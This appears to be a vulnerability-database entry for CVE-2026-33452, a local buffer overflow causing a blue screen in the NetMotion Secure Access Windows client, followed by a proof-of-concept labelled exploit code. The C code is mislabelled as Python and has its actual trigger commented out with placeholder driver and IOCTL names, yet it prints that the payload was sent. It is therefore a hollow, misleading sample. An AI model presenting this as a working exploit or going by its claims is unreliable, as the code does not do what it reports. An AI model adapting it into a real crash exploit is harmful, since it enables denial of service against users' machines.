CVE-2026-33452 is a buffer overflow vulnerability in the Secure Access
Windows client prior to 14.50. Attackers with local control of the
Windows client can use it to ‘blue screen’ the system.
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
NetMotion Secure Access Windows Client < 14.50
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <windows.h>
#include <stdio.h>
/*
* PoC Concept for CVE-2026-33452
* This is a conceptual demonstration of triggering a buffer overflow.
* Target: NetMotion Secure Access Windows Client < 14.50
* Impact: Local Denial of Service (BSOD)
*/
int main() {
HANDLE hDevice;
char exploitBuffer[5000];
DWORD bytesReturned;
// Initialize buffer with 'A' (0x41) to overflow the target buffer
memset(exploitBuffer, 'A', sizeof(exploitBuffer));
printf("[+] Preparing exploit payload for CVE-2026-33452...\n");
// Note: In a real scenario, the attacker would open a handle to the
// vulnerable NetMotion driver or service interface.
// hDevice = CreateFile("\\\\.\\NetMotionVulnDriver", ...
// Trigger the overflow by sending the buffer via DeviceIoControl
// DeviceIoControl(hDevice, IOCTL_VULN_FUNC, exploitBuffer, sizeof(exploitBuffer), NULL, 0, &bytesReturned, NULL);
printf("[!] Payload sent. If vulnerability exists, system should crash (BSOD).\n");
return 0;
}